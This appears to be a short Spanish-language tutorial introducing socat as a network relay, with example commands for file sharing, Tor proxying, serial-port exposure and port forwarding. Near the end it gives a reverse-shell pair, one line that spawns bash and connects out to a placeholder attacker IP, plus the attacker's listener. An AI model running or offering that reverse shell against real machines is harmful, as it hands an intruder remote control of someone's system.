Socat - Multipurpose relay
Socat
Socat actúa como un relay (retransmisor) o intermediario entre dos flujos de datos, que pueden ser:
- sockets TCP o UDP
- archivos
- pseudoterminales
- dispositivos seriales
- procesos, etc.
Es como un fontanero, capaz de conectar todo tipo de cosas entre sí. La página oficial del proyecto es esta dest-unreach.org/socat
Ejemplos uso
Compartir un archivo:
1
socat TCP-LISTEN:1234,reuseaddr,fork FILE:/ruta/al/archivo.txt
Conectar una aplicación que no soporta proxies a través de TOR:
1
socat TCP-LISTEN:1234,reuseaddr,fork SOCKS5:127.0.0.1:irc.hidden.onion:6667,socksport=9050
Exponer un puerto serie (USB) por red
1
socat TCP-LISTEN:5000,reuseaddr,fork FILE:/dev/ttyUSB0,raw,echo=0
Simular una conexión
1
socat TCP:192.168.1.210:21 -
Redireccionar un puerto
1
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80,sourceport=12345
Reverse Shell (escucha)
1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane TCP:<IP_DEL_ATACANTE>:4444
Reverse Shell (cliente/atacante)
1
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444,reuseaddr
Parece que Socat podría convertirse en el sucesor legítimo de Netcat llamado “la navaja suiza de los hackers”, pues Socat es más complejo y avanzado y tiene más funcionalidades.
Socat puede ser una buena herramienta para resolver problemas de red y una buena solución “in situ” para resolver tareas que de otra manera requerían la instación de software adicional, servidores o middelware, etc.